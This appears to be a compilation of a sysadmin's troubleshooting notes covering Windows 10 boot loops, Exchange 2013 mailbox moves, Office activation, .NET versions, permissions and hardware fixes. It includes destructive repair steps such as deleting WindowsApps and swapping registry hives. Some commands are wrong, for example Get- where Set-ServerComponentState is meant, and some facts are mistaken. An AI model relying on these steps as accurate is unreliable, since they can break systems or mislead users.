Graphics. This is basically the Intel 6 Generation Chipset. -Intel refuses to produce drivers for this graphics card on it's own but has released a driver and provided it to MS. -the driver is version 9.17.10.4459. -the driver has to be gotten from MS and not from INTEL: http://catalog.update.microsoft.com/v7/site/Search.aspx?q=9.17.10.4459 (it is named: 200028694_9f1eae50bc588760715acd70172f5487dc461e64) CASE-1 -INTEL GRAPHICS HD 3000 -black screen of death trying to update to WIN-v1607. -the driver is v9.17.10.4299. -had to manually untar the cab. -had to manually update the driver to v9.17.10.4459 -also installed the latest CHIPSET driver for QM67 (intel 6 series). CASE-2 -INTEL GRAPHICS HD 2000 -black screen of death trying to update to WIN-v1607. -the driver is v9.17.10.4299. -had to manually untar the cab. -had to manually update the driver to v9.17.10.4459 -also installed the latest CHIPSET driver for Q65 (intel 6 series). CASE-3 -INTEL GMA 4500 (g41 chipset) -black screen of death trying to update to WIN-v1607. -the driver is v8.15.10.2702 -make sure KB3176938 is installed. NOTES: -use HWINFO to find out details of your computer. -https://en.wikipedia.org/wiki/List_of_Intel_graphics_processing_units -https://en.wikipedia.org/wiki/List_of_Intel_chipsets ## Office365 Options Office365 has many options and it can be confusing on their web site. Here's an easy to read all-in-one page to quickly identify your needs:  EXCHANGE-1 EXCHANGE-2 OFFICE-365-ESSENTIALS OFFICE-365-BUSINESS OFFICE-365-PREMIUM OFFICE-365-PROPLUS OFFICE-365-E1 OFFICE-365-E3 OFFICE-365-E5 cost-montly$4.00 $8.00$5.00 $8.25$12.50 $12.00$8.00 $20.00$35.00 cost-annual $48.00$96.00 $60.00$99.00 $150.00$144.00 $96.00$240.00 $420.00 exchange YES YES YES NO YES NO YES YES YES mailbox-size 50GB 100GB 50GB 0GB 50GB 0GB UNLIMITED UNLIMITED UNLIMITED apps-online NO NO YES YES YES YES YES YES YES apps-desktop NO NO NO YES YES YES NO YES YES onedrive NO NO YES YES YES YES YES YES YES onedrive-size 0TB 0TB 1TB 1TB 1TB 1TB 1TB 1TB 1TB shared contacts YES YES YES NO YES NO YES YES YES shared calendar YES YES YES NO YES NO YES YES YES maximum users UNLIMITED UNLIMITED 300 300 300 UNLIMITED UNLIMITED UNLIMITED UNLIMITED NOTES: ## Exchange 2013 Change Primary SMTP Email Address Exchange 2013 Change Primary SMTP Email Address You might get the following, "Couldn't update the primary SMTP address because this mailbox is configured to use an e-mail address policy." Here's how to fix: Set-Mailbox foo.user -PrimarySmtpAddress <!-- var prefix = 'm&#97;&#105;lt&#111;:'; var suffix = ''; var attribs = ''; var path = 'hr' + 'ef' + '='; var addy13914 = 'f&#111;&#111;.&#117;s&#101;r' + '&#64;'; addy13914 = addy13914 + 'd&#111;m&#97;&#105;n' + '&#46;' + 'tld'; document.write( '<a ' + path + '\'' + prefix + addy13914 + suffix + '\'' + attribs + '>' ); document.write( addy13914 ); document.write( '<\/a>' ); //--> <!-- document.write( '<span style=\'display: none;\'>' ); //--> This e-mail address is being protected from spambots. You need JavaScript enabled to view it <!-- document.write( '</' ); document.write( 'span>' ); //--> -EmailAddressPolicyEnabled$false

Or if you need to set all the addresses for one mailbox all at once (the captial SMTP is the primary smtp address and the lowercase smtp is the additional smtp email addresses):

Set-Mailbox foo.user -EmailAddresses smtp:foo.user@domain1, smtp:foo.user@domain2, SMTP:foo.user@domain3 -EmailAddressPolicyEnabled $false ## Grab All The Photos From A Web Site So you want to grab all the photos from a web site do you? Here's how: wget -nd -r -A jpg -e robots=off http://wherever.tld This will put all the photos from the web site you reference (and all lower directories) to a single directory. This will not magically grab photos from a directory which has no page attached to it and has random names. If you do know the names are sequential numbers then you can try: wget -nd -r -A jpg -e robots=off http://wherever.tld/gallery/{0..1000}.jpg ## Create a ZIP File in Linux Create a ZIP file in Linux. This will create a ZIP file called foo.zip that contains all of the documents in the current directory. zip foo.zip ./* ## Exchange 2013 Move Mailbox From One Database to Another Database Here's the command to move a mailbox from one database to another database: New-MoveRequest foo.user -TargetDatabase "Mailbox XYZ" Here's how to do a batch based on last name letter: Get-mailbox -Database "Mailbox-Foo1" -ResultSize Unlimited |get-recipient -RecipientType UserMailbox -Filter {lastname -like 'h*'} |get-mailbox |New-MoveRequest -TargetDatabase "Mailbox-Foo2" -BatchName "Foo-batch" Here are the diagnostic short list: get-moverequest get-moverequeststatistics remove-moverequest foo.user (get-moverequest).count ### SPEED TWEAKS ON HOW TO MOVE MAILBOXES FASTER I have found that moves are slow unless they are set as EMERGENCY. Here's how: set-MoveRequest foo.user -priority emergency Also, some have found that turning off the MRS (throttling) improves performance. I haven't tried it. Here's how: reg query "HKLM\SYSTEM\CurrentControlSet\services\MSExchange ResourceHealth" /v MRS :: TURN OFF MRS echo y | reg add "HKLM\SYSTEM\CurrentControlSet\services\MSExchange ResourceHealth" /v MRS /d 0 :: STOP EXCHANGE REPLICATION SERVICE sc stop MSExchangeRepl :: TURN ON MRS echo y | reg add "HKLM\SYSTEM\CurrentControlSet\services\MSExchange ResourceHealth" /v MRS /d 1 :: START EXCHANGE REPLICATION SERVICE sc start MSExchangeRepl ### SEE WHAT'S HAPPENING Here's how to see how the full list: Get-moverequest |get-moverequeststatistics |sort-object -Property PercentComplete -descending Here's how to see how many have finished: (Get-MoveRequest -movestatus completed).count Here's how to see how many are in progress: (Get-MoveRequest -movestatus inprogress).count Here's how to see how the normal-moves are going: Get-moverequest -movestatus inprogress |get-moverequeststatistics |sort-object -Property PercentComplete -descending Here's how to see how the emergency-moves are going: Get-moverequest -movestatus inprogress -flags highpriority |get-moverequeststatistics |sort-object -Property PercentComplete -descending ### WHAT TO DO WITH "FAILED" MOVES If move requests fail, you can see why. Here's how: get-moverequeststatistics -includereport foo.user |fl Usually a single bad item. You can set the move to raise the badlimit just a little and restart the move with the following: get-moverequest foo.user |set-moverequest –baditemlimit 10 -priority emergency resume-moverequest foo.user ## EXCHANGE 2013 Mailflow Stop After Update is Cancelled Cancel EXCHANGE update (CU13) because it requires a HOTFIX (or two) before it continues. Afterwards, OUTLOOKs are disconnected; OUTLOOK-WEB-ACCESS works; sending & receiving email doesn't work. Hmmmm.... what to do. Checking the WINDOWS logs and I see: "Failed to discover Ews Url for mailbox" Then I check for the EXCHANGE COMPONENT STATUS: • Get-ServerComponentState –Identity ServerNameHere This will tell you the state of the server components in an ACTIVE/INACTIVE way. If something is INACTIVE, you can turn it to ACTIVE by: • Get-ServerComponentState –Identity ServerNameHere -Component ServerWideOffline -State Active -Requester Functional • sc stop MSExchangeTransport • sc stop MSExchangeFrontEndTransport • timeout 80 • sc start MSExchangeTransport • sc start MSExchangeFrontEndTransport It should turn back to ACTIVE. However, if there was a second REQUESTER making the change to INACTIVE, this REQUESTER must also set to ACTIVE for the whole status to be ACTIVE: • Get-ServerComponentState –Identity ServerNameHere -Component ServerWideOffline -State Active -Requester Maintenance • sc stop MSExchangeTransport • sc stop MSExchangeFrontEndTransport • timeout 80 • sc start MSExchangeTransport • sc start MSExchangeFrontEndTransport Another way to fix this is to install the HOTFIXES that are needed and then proceed with the EXCHANGE update. Wait about an hour or so and viola! Working server automatically. Apparently, the EXCHANGE update automatically turns off some of the components. If the update is canceled, these components are left in the INACTIVE state. Going through the update process turns the components to the ACTIVE state automatically. NOTES: -https://blogs.technet.microsoft.com/exchange/2013/09/26/server-component-states-in-exchange-2013/ -google: "Failed to discover Ews Url for mailbox" -google: "ServerWideOffline" -to test mail flow use: Test-Mailflow -TargetEmailAddress This e-mail address is being protected from spambots. You need JavaScript enabled to view it ## How to Enable DOTNET 3.5 on Windows 10 ### BACKGROUND DOTNET is a computer language. If it is installed on you, you can speak it and understand it. DOTNET is to MICROSOFT what JAVA is to SUN/ORACLE. There are certain versions of DOTNET that automatically come with certain versions of WINDOWS. They are as follows:  DOTNET VERSION DATE WINDOWS VERSION 1.0.0 02/13/02 XP 1.1.0 04/24/03 N/A 2.0.0 11/07/05 N/A 3.0.0 11/06/06 Vista 3.5.0 11/19/07 7 4.0.0 04/12/10 N/A 4.5.0 (378389) 08/15/12 8 4.5.1 (378675/378758) 10/17/13 8.1 4.5.2 (379893) 05/05/14 N/A 4.6.0 (393295) 07/20/15 10 4.6.1 (394254) 11/30/15 10 v1511 (November Update) 4.6.2 (394802) 08/02/16 10 v1607 (Anniversary Update) 4.7.0 (460798) 04/11/17 10 v1703 (Creators Update) 4.7.1 (461308) 10/17/17 10 v1709 (Fall Creators Update) 4.7.2 (461808) 04/10/18 10 v1803 (April 2018 Update) 4.7.2 (461814) 10/09/18 10 v1809 (October 2018 Update) DOTNET can be installed in parallel with other versions. For example, v3.5 can be installed with v4.0. Certain versions of DOTNET are required for certain software to run. If something is built to run off of v3.5, this doesn't mean it will work with v4.6.2. Starting with WINDOWS 10, DOTNET v4.6.0 is included. DOTNET v3.5 (including v2 & v1) is included in WINDOWS 10 as a "feature" but it is not installed/enabled. ### TO SEE IF DOTNET 3.5 (v2 & v1) IS INSTALLED ON WINDOWS 10 • -click START > RUN • -type: cmd • -type: DISM /Online /get-features /Format:Table This will list out all the features of WINDOWS 10 and their status. You are looking for NETFX3. This is DOTNET v3.2 (v2 & v1). ### ENABLE DOTNET v3.5 (v2 &v1) If it is not enabled, you will need to enable it. • -click START > RUN • -type: cmd • -type: DISM /Online /Enable-Feature /FeatureName:NetFx3 /All Or for an OFFLINE installation where you have the source CD/DVD/USB/WIM/SHARE: • DISM /Online /Enable-Feature /FeatureName:NetFx3 /All /LimitAccess /Source:c:\path\to\Windows10x64\sources\sxs • DISM /Online /Enable-Feature /FeatureName:NetFx3 /All /LimitAccess /Source:\\server\share\os\Win10x64\untar\sources\sxs ### FIND DOTNET VERISION To find the DOTNET version: • -type: Get-ChildItem "hklm:SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full\" or • -type: reg query "hklm\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\full" /v Release This will give the value in HEX. You have to convert the HEX number to DEC. This will give a RELEASE value that corrosponds to a VERSION number. See the chart above. (Do not pay attention to the VERSION number that it shows; you need the RELEASE number that shows.) ## WINDOWS PERMISSIONS WITH ICACLS WINDOWS permissions with icacls. When permissions in WINDOWS is FUBAR'd, start from scratch by resetting the permissions as they would be if nothing has changed. RESET PERMS FOR DIR RECURSIVELY icacls folder-name-here /t /reset Now, from this point if you would like to add a USERNAME or GROUPNAME: ADD FULL PERMS FOR DIR RECURSIVELY (doesn't change existing) icacls folder-name-here /grant username-or-groupname:f /t If you want to set permissions explicitly as you tell it to: REMOVE INHERITANCE | GRANT USERNAME | (CI) ENSURES NEW ITEMS WILL HAVE THESE PERMS (changes everything from scratch) icacls foo-folder /inheritance:r /grant username:(ci)f /t EXAMPLE (This is probably what you want. The SYSTEM, OWNER, ADMINISTRATORS all have FULL CONTROL. The USERNAME has READ-ONLY-CONTROL). icacls foo-dir /inheritance:r /grant "creator owner":(CI)(CI)F system:(CI)(CI)F administrators:(CI)(CI)F other-username-for-full-control:(CI)(CI)F other-groupname-for read-control:(CI)(CI)RX /T BONUS: If you need to take ownership beforehand, you can do so by the following: takeown /f top-folder-name /r /d y or: takeown /f "c:\foo folder" /r /d y ## How To Find .Net Version Installed | How To Find the Powershell Version Installed Find .Net Version installed on your computer or to find the Powershell version installed on your computer: • -open POWERSHELL • -type:$PSVersionTable

The CLRVersion is the .NET version in "version name." If you want to know what it is in "product name" type it into google.

The PSVersion is the Powershell version installed.

## How to Checksum Files in Windows 10

How to Checksum Files in Windows 10. There are a few ways to CheckSum files in Windows 10 listed in the great wide open of the internet.

They are as follows:

fciv (outdated from 2004)

fciv -md5 d:\programs\setup.exe

certutil (built into Windows)

CertUtil -hashfile C:\TEMP\MyDataFile.img MD5

get-filehash (built into PowerShell v4 and higher)

get-filehash -algorithm md5 <file_to_check>

other tools
There are other tools out there but I prefer to stick with what's built into the OS and released/blessed from the OS author.

## Access RAPIDSSL Certificates

To access your RAPIDSSL certificates or your GEOTRUST certificates, you can login to their END USER PORTAL here:

This is kinda hidden since typically RAPIDSSL only sells to resellers and pushes all support through them, so I'm making a note of it.

## SQL Server 2014 High CPU After Installing SP2

SQL Server 2014 High CPU After Installing SP2. There are 3 steps I used to fix this:

STEP 1: find the username of the SQL

• -open "SQL Server 2014 Configuration Manager."
• -right-click on the instance of SQL that you are running.
• -click PROPERTIES (a box opens).
• -click LOG-ON tab (at the top).
• -take note of the USERNAME that is running.
• -click OK
• -exit out of "SQL Server 2014 Configuration Manager."

STEP 2: add the username to the LOCK PAGES IN MEMORY section

• -click START > RUN
• -type: gpedit.msc
• -click COMPUTER-CONFIGURATION > WINDOWS-SETTINGS > SECURITY-SETTINGS > LOCAL-POLICIES > USER-RIGHTS-ASSIGNMENT
• -find LOCK-PAGES-IN-MEMORY
• -type in the USERNAME from above.

STEP 3: adjust the MAX MEMORY

• -open the 2014 MANAGEMENT STUDIO
• -login to the SQL DATABASE you are running.
• -right-click the SQL DATABASE name (at the top, on the left-hand side)
• -click PROPERTIES
• -click MEMORY (on the left hand side).
• -you will see the MINIMUM SERVER MEMORY and the MAXIMUM SERVER MEMORY areas.
• -leave the MINIMUM SERVER MEMORY at 0 (zero).
• -find the MAXIMUM SERVER MEMORY box.
• -type in the number for your server. This number is based on the amount of RAM in your system.
• -the chart is here: https://www.brentozar.com/blitz/max-memory/
• -click OK.

That's it!!! You did it!!!

## Windows 10 Product Key

slmgr /ipk xxxxx-xxxxx-xxxxx-xxxxx-xxxxx

Of course, replace your product key here.

This didn't work for me for some reason. I had to go traditional gui route and that worked. Same product key.

## WOL Control

Waking remote computers with WOL. As usual, the options are dizzying. Here's a cheat sheet.

See what's capable:

powercfg -devicequery wake_from_any

But this list is too long. Since not all devices can be config'd, some devices are going to wake whether the user wants them to or not. So to see what's capable of being user config'd (what can be changed):

powercfg -devicequery wake_programmable

See what's enabled:

powercfg -devicequery wake_armed

And finally, to enable a device to be a waking point:

POWERCFG -deviceenablewake "exact device name here"

A quick batch script would be:

POWERCFG -devicequery wake_from_any | FINDSTR /i "net" > c:\foo\adapters.txt
FOR /F "tokens=*" %%i IN (c:\foo\adapters.txt) DO POWERCFG -deviceenablewake "%%i" 

## Manage Printers via Command Line

Manage printers via command line:

• Get the default printer details from command line:

• Get the list of printers added to the system from Windows command line:

• Set default printer from windows command line:

## Install Windows 10 In-Place Upgrade on All Computers in a Domain With PDQ Deploy

Install Windows 10 In-place upgrade on a domain is possible in a couple of ways.

The official way is to use the MICROSOFT DEPOLYMENT TOOLKIT found here: https://technet.microsoft.com/en-us/windows/dn475741.aspx

The other way is through simple network share.

Wait... what? Yes, network share.

• -you will see 4 options
WINDOWS 10 (all languages)
WINDOWS 10 K (Korean law)
WINDOWS 10 N (European law)
WINDOWS 10 SINGLE LANGUAGE (1 language only)
• -simply download the one you need. The one that matches what you have now which is probably WINDOWS 10 ALL LANGUAGES.
• -again, since you are doing an IN-PLACE UPGRADE, the ISO must match what's on your system now. Many of the issues people are having is that they are trying to upgrade their system with a WINDOWS 10 PRO SINGLE LANGUAGE when they have WINDOWS 7 ALL LANGUAGES installed on their machine.
• NOTE: do NOT use the MEDIA-CREATION-TOOL for this exercise.

STEP 2: mount WINDOWS 10 ISO

This means show the files that are in the ISO. Windows 7 cannot do this without some help such as WINRAR, 7ZIP or VIRTUAL-CLONEDRIVE. WINDOWS SERVER 2012, WINDOWS 8.1 and newer can do this without additional software. This can happen either through the GUI or through POWERSHELL command MOUNT-DISKIMAGE.

There is no correct way on how you mount the ISO, just do it.

STEP 3: create the network share

Create the share:

• md C:\installs\os\win10x64\unpack

STEP 4: copy the ISO contents onto a created network share.

I use ROBOCOPY to do this. It is built into WINDOWS 7 and newer. Something like:

• robocopy /e f:\ C:\installs\os\win10x64\unpack

STEP 5: Build your install package

Pretty easy when you know what to do it right.

• -select the setup.exe on the network share. Something like: \\myserver\installs\os\win10x64\unpack\setup.exe
• -type in the parameters: /auto upgrade /Compat IgnoreWarning /installfrom c:\Windows\AdminArsenal\PDQDeployRunner\service-1\exec\sources\install.wim /dynamicupdate disable /showoobe none /quiet
NOTE: if you would like, you can save the log files as well. Add the following to the end of the parameters above: /copylogs \\myserver\installs\os\win10x64\logs
• -checkmark "Include Entire Directory"
• click PACKAGE PROPERTIES
• make sure the COPY MODE is changed to PULL (not PUSH).
• checkmark "use custom timeout" and change the number to 240.
• save the package.

STEP 6: deploy on test victim.

That should do it!!! If the test pc works, deploy to the rest of the pc's how you see fit.

==============================================================

If for some reason the above PDQ package fails, you can create a .bat file and fill it with following (adjust as necessary):

:: MAKE DIRECTORY.
md c:\installs\Windows10x64

:: COPY FILES.
robocopy /MIR \\myserver\installs\os\win10x64\unpack\ c:\installs\Windows10x64

:: CHANGE DIRECTORY.
cd c:\installs\Windows10x64

:: START THE IN-PLACE UPGRADE (OR CLEAN INSTALL).
start /wait setup.exe /auto upgrade /Compat IgnoreWarning /installfrom c:\installs\Windows10x64\sources\install.wim /dynamicupdate disable /showoobe none /quiet

• Save this .bat in \\myserver\installs\os\win10x64\unpack\
• Then create a PDQ package with this bat.
• Deploy as you see fit.

## Office 2010 "You don't have permission to open this file."

You also might get, "filename.xls could not be found."

-disable Panda's DATA SHIELD.

Panda's Cloud free antivirus has a new component called Data Shied. Disable the DATA SHIELD and it will fix the issue.

## Automatically Install Office 2016 to Domain Network

• -mount ISO.
• -copy contents to network share.
• -config (product key, org name, etc).
• -click FILE SAVE.
• -save the MSP file at the network share.

This will automatically deploy OFFICE 2016 to domain PC's of your choosing. And it's completely silent.

This process is how network administration should be done! Not "proof of concept" stuff along with long winded instruction sets.

## HDMI Cable Speeds

2160/60p, 4:2:0, 8-bit, 8.91Gbps
2160/60p, 4:2:0, 10-bit, 11.14Gbps
2160/60p, 4:2:0, 12-bit, 13.37Gbps
2160/60p, 4:2:0, 16-bit, 17.82Gbps
2160/60p, 4:2:2, 8-, 10- or 12-bit, 17.82Gbps
2160/60p, 4:4:4, 8-bit, 17.82Gbps
4320/60p, 4:4:4, 12-bit, ~72Gbps

HDMI CERTIFICATE TYPES

Standard (or "category 1"), no Ethernet;
High Speed (or "category 2"), no Ethernet;
Standard, with Ethernet;
High Speed, with Ethernet;

Full Disclosure: I have an AudioQuest cable. Picked it up at a conference as a freebie ;-)

## ErrorCode: 1603(0x643) | Office 2010 Won't Install on Windows 10 | CAInitSPPTokenStore.x86: Error: Failed to initialize the SPP Token store. HResult: 0x80070057

WINDOWS 10 is having trouble installing software. This is a complex issue but basically some software won't install (or updates won't install) because of an ERROR 1603. More specifically: ErrorCode: 1603(0x643).

Turning on VERBOSE logging (check another article but it puts the logs in %user%\appdata\local\temp) for the install, it shows that the actual error is: CAInitSPPTokenStore.x86: Error: Failed to initialize the SPP Token store. HResult: 0x80070057. Hmmm... What to do?

• -click START > RUN > REGEDIT
• -navigate to: hkey_local_machine/software/microsoft/windows nt/currentversion/profilelist

Nested underneath, you will see SID's. Somthing like:

• s-1-5-18
• s-1-5-19
• s-1-5-20
• s-1-5-21-...1000
• s-1-5-21-...1003
• s-1-5-82

To see what SID's corrospond to actual accounts.

• -type: wmic useraccount get name,sid

You'll see something like:

• 1000 owner
• 1003 tempfix

Notice that s-1-5-18, s-1-5-19, s-1-5-20 do not show. So what's up? Well, this is because these are system-accounts that are not be used/seen. This is what we are concerned about. They are as follows:

• s-1-5-18 is SYSTEM
• s-1-5-19 is LOCAL SERVICE
• s-1-5-20 is NETWORK SERVICE

Next, go back to regedit to: hkey_users

A DEFAULT NORMAL INSTALL has something like:

• S-1-5-18
• s-1-5-19
• s-1-5-20
• s-1-5-21-...1215
• s-1-5-21-...1216
• s-1-5-21-...1217

What we are seeing is that some of the upgrades to WINDOWS 10 are BROKEN and has the following:

• s-1-5-18
• s-1-5-19
• s-1-5-21-...1000
• s-1-5-21-...1003

So, it is missing s-1-5-20. Here's how to fix:

• -start > all-programs> accessories
• -right click COMMAND-PROMPT > run-as-administrator
• -type ren C:\Windows\ServiceProfiles\NetworkService\NTUSER.DAT *.OLD
• -xcopy /h "C:\Users\Default\NTUSER.DAT" "C:\Windows\ServiceProfiles\NetworkService\NTUSER.DAT"
• -in explorer travel to C:\Windows\ServiceProfiles\NetworkService\NTUSER.DAT
• -right-click > properties > security > edit > add
• -type: NETWORK SERVICE
• -give NETWORK SERVICE full-control
• -reboot

Now, upon reboot, open REGEDIT again and go to HKEY_USERS. You should now see that s-1-5-20 is added back in. Let's add the correct permissions:

• -right-click on S-1-5-20
• -type: network service
• -click OK
• -checkmark FULL CONTROL
• -click OK

I do not have a good explanation of why this happens. It could be a corrupt file. It could be a failed upgrade. It could be some type of antivirus. I do not know. What I know is that this took a few days to figure out and the software will now install successfully!!!!

Let's say that you have an OFFICE 2010 install that doesn't work. You cannot uninstall it either. Nor do you have a CD/USB/SOURCE to install because it was on your computer when you bought it and you just used a PRODUCT KEY.

What do you do?

NOTE: !!!Make sure you have your PRODUCT KEY!!! You can get this with BELARC-ADVISOR (among many others).

1 - UNINSTALL OFFICE

You can uninstall office by using the automatic uninstall tool here:

2013 | 2016
http://support.microsoft.com/kb/2739501

3 - EXTRACT OFFICE

• -run COMMAND PROMPT (as administrator)
• -office_hs_2010_english_x32.exe /extract:c:\office2010

4 - INSTALL OFFICE

• -right-click on setup.exe

## [Solved] Your PC Ran Into A Problem And Needs To Restart Windows 10 Loop

"Your PC Ran Into A Problem And Needs To Restart" Windows 10 Loop!

or

"Your PC did not start correctly"

Collectively, let's all say "Arrrrrrrrrrrrrrrrgh!!!"

This is the stuff that I really dread for the average person. How in the world is a normal person supposed to be able to get through an issue like this?

There are 10 possible reasons for this loop and possibly more that need repairing:

• 1-startup repair
• 2-checkdisk
• 3-system restore
• 4-safe boot / low res
• 5-sfc
• 6-windowsapps folder
• 7-registry repair
• 8-boot repair
• 9-dism

ISSUE 1 - There is a startup problem (startup repair).

• -click TROUBLESHOOT.
• -click STARTUP REPAIR.
• -let it go through its process and restart.

ISSUE 2 - There is a filesystem problem (checkdisk).

• -click TROUBLESHOOT.
• -click COMMAND PROMPT
• -type: chkdsk d: /f /r
• (note depending on what your OS drive letter is, this could be: chkdsk c: /f /r)
• -let it go through its process and restart.

ISSUE 3 - System Restore

• -click TROUBLESHOOT.
• -click SYSTEM RESTORE.
• this will go through a process of showing previous time in the past. You can choose one of these points. Your system-files will go back to that time, removing any updates, patches or changes. Your document-files will remain as they are now.
• -let it go through its process and restart.

ISSUE 4 - safe-mode or low-resolution-video

• -click TROUBLESHOOT.
• -click STARTUP-SETTINGS
• -the computer will reboot and give the options to press F1 through F9
• -press F3 to try low-resolution video as sometimes Windows 10 suddenly doesn't like the video drivers.
• -or press F5 to try to get to safe-mode-with-networking.

ISSUE 5 - sfc

• -click TROUBLESHOOT.
• -click COMMAND PROMPT
• -type: sfc /scannow
• -let it go through its process and restart.

ISSUE 6 - windowsapps folder

For some reason the "windowsapps" folder gets messed up during an update or during system-restore (message about "appxstaging"):

• -click TROUBLESHOOT.
• -click COMMAND PROMPT
• -type: takeown /f "C:\Program Files\WindowsApps" /r /d Y
• -type: icacls "C:\Program Files\WindowsApps" /grant administrator:F /t
• -type: rd /s "C:\Program Files\WindowsApps"
• -reboot and see if that works.

ISSUE 7 - There is a registry error.

• -click TROUBLESHOOT.
• -click COMMAND PROMPT
• -type: d:
• -hit enter
• -type: cd windows
• -hit enter
• -type: cd system32
• -hit enter
• -type: cd config
• -hit enter
• -type: ren default default1
• -hit enter
• -type: ren sam sam1
• -hit enter
• -type: ren software software1
• -hit enter
• -type: ren security security1
• -hit enter
• -type: ren system system1
• -hit enter
• -type: cd regback
• -hit enter
• -type: copy * ..\
• (that is: copy-space-asterisk-space-dot-dot-backslash)
• -hit enter
• -type: exit
• -let it reboot and see if that works.

ISSUE 8 - There is a boot problem.

• -click TROUBLESHOOT.
• -click COMMAND PROMPT
• -type:bootrec.exe /fixmbr
• -type: bootrec.exe /fixboot
• -type: bootrec.exe /RebuildBcd
• -type: exit
• -let it reboot and see if that works.

ISSUE 9 - dism

This is the only issue that I have not tried personally as I've never had to get this far. The idea is that there is something wrong with Windows and that it can be repaired:

• -click TROUBLESHOOT.
• -click COMMAND PROMPT
• -type: dism /online /cleanup-image /scanhealth
• -type: dism /online /cleanup-image /restorehealth
• -let it go through its process and restart.

ISSUE 10 - reload and transfer

If I've gone through the 9 issues above without success, I throw in the towel and reload Windows 10 on a new hard drive (ssd) and transfer the data. Not ideal but usually by this point, reloading and transferring data is going to be faster than further troubleshooting.

Those are the 10 issues that I go through when I get, "Your PC Ran Into A Problem And Needs To Restart" Windows 10 Loop.

## 1-3-2 Bios Beeps Dell Precision T3500

Dell Precision T3500 boots fine.

Upon, reboot the system bios beeps: 1-3-2. In other words, beep (pause) beep-beep-beep (pause) beep-beep. Nothing. No bios. Just black screen.

The only way to get it to reboot properly without the bios beeps is to yank the power from the computer. Wait till the electricity discharges from the motherboard by holding in the power button. Plug the system back into the power. Press the power button.

But here's how to fix:

• -reset to defaults.
• -turn off the FAST BOOT.
• -disable the DISKETTE DRIVE.
• -uncheck the ONBOARD OR USB FLOPPY DRIVE.
• -uncheck the ONBOARD OR USB CD DRIVE.

While we are at it, change the silly default options:

• -disable LOW-POWER-MODE.
• -enable HYPER-THREADING (if you have it).
• -enable MULTICORE.
• -enable TURBOBOOST.
• -disable SPEEDSTEP.
• -enable SMART TEST.

There could be other reasons. For me, this was what worked. The key seemed to be something in the FASTBOOT and the DISKETTE DRIVE.

NOTES:

• -this was a 6 month process :-(
• -replacing the 525W power supply with a 850W power supply didn't work.

## WINDOWS 10 Falls Asleep After 2 Minutes

MANUAL EDIT:

01 -click START > RUN > CMD (or POWERSHELL) (as administrator)
02 -type: echo y | reg add "HKLM\SYSTEM\CurrentControlSet\Control\Power\PowerSettings\238C9FA8-0AAD-41ED-83F4-97BE242C8F20\7bc4a2f9-d8fc-4469-b07b-33eb785aaca0" /v Attributes /d 2
03 -enter
04 -type: echo y | reg add "HKLM\SYSTEM\CurrentControlSet\Control\Power\PowerSettings\2a737441-1930-4402-8d77-b2bebba308a3\d4e98f31-5ffe-4ce1-be31-1b38b384c009" /v Attributes /d 2
05 -enter
06 -click START > CONTROL-PANEL > POWER-OPTIONS > CHANGE-THE-PLAN-SETTINGS > click on the "Change advanced power settings".
07 -click on the "Change settings that are currently unavailable"
08 -click Sleep > System unattended sleep timeout > type 0
09 -click USB-SETTINGS > USB-3-LINK-POWER-MANAGEMENT > set to OFF
10 -click OK
11 That's it!!! You did it!!!

## OFFICE 2013 ACTIVATION

I'm not an expert on ACTIVATION as LICENSING is a pain. Luckily, I'm in a corporate situation where budgets are secondary to getting it working. KMS & MAK are not covered here. Here's how:

• -click START > RUN
• -type: cmd
• -type: cd C:\Program Files\Microsoft Office\Office15

From here, there are 3 basic commands to help and resolve: STATUS, CHANGE, ACTIVATE.

GET STATUS

• C:\Program Files\Microsoft Office\Office15>cscript ospp.vbs /dstatus

CHANGE KEY

• C:\Program Files\Microsoft Office\Office15>cscript ospp.vbs /inpkey:XXXXX-XXXXX-XXXXX-XXXXX-XXXXX

ACTIVATE KEY

• C:\Program Files\Microsoft Office\Office15>cscript ospp.vbs /act

The result will look something like this:

RESULT

Microsoft (R) Windows Script Host Version 5.812

---Processing--------------------------
---------------------------------------
SKU ID: XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX
LICENSE NAME: Office 15, OfficeStandardVL_MAK edition
LICENSE DESCRIPTION: Office 15, RETAIL(MAK) channel
Last 5 characters of installed product key: XXXXX
---------------------------------------
---------------------------------------
---Exiting-----------------------------

Sometimes, there is a double install where 2 different versions are installed at the same time. A KMS version and a MAK version. You can find out by

SEE ALL KEYS THAT ARE TRYING TO ACTIVATE

• C:\Program Files\Microsoft Office\Office15>cscript ospp.vbs /dstatus

UNINSTALL KEY THAT ISN'T CORRECT

• C:\Program Files\Microsoft Office\Office15>cscript ospp.vbs /unpkey:last-5-digits

THEN IMMEDIATELY INSTALL AN MAK KEY

• C:\Program Files\Microsoft Office\Office15>cscript ospp.vbs /inpkey:XXXXX-XXXXX-XXXXX-XXXXX-XXXXX

THEN ACTIVATE

• C:\Program Files\Microsoft Office\Office15>cscript ospp.vbs /act

## Windows 10 ISO

To be clear, you can do a CLEAN INSTALL of WINDOWS 10 if you have WINDOWS 7 or WINDOWS 8 or WINDOWS 8.1 until the end of JULY 2016.

To do so, you need a WINDOWS 10 USB. This is easily obtained by using the WINDOWS 10 MEDIA CREATION TOOL (MCT) here:

Now you have a bootable USB disk.

But what if you want to create a multiple boot USB disk where WINDOWS 10 is just one of the options? You would somehow have to create a WINDOWS 10 ISO.

I enjoy the E2B project. Despite being wordy and looking complicated, it's actually fairly simple. Here's the shortcut.

• -click MAKE_E2B_USB_DRIVE (run as admin)
(CAUTION!!! This will delete everything on the USB drive.)
• -install your ISO/IMG/IMGPTN in the appropriate place.

Now to the part where we need a WINDOWS ISO. To be fair, you can get a WINDOWS 10 ISO in 2 ways.

### FIRST WAY TO GET WINDOWS 10 ISO

• -open CHROME
• -click SETTINGS (at the upper right) > MORE-TOOLS > DEVELOPER-TOOLS
• -a window open on the right hand side.
• -click the TOGGLE-DEVICE-TOOLBAR icon (at the top of the right hand side).
• (It is the second one from the left.)
• -you will see 4 options
WINDOWS 10 (all languages)
WINDOWS 10 K (Korean law)
WINDOWS 10 N (European law)
WINDOWS 10 SINGLE LANGUAGE (1 language only)
• -simply download the one you want (probably WINDOWS 10 ALL LANGUAGES)

For me, doing this somehow downloaded the iso as a WINDOWS 10 HOME version. It doesn't matter, it will still install WINDOWS 10 PRO. But I would like the INSTALL.EDB to say WINDOWS 10 PRO. I do not know yet if it matters.

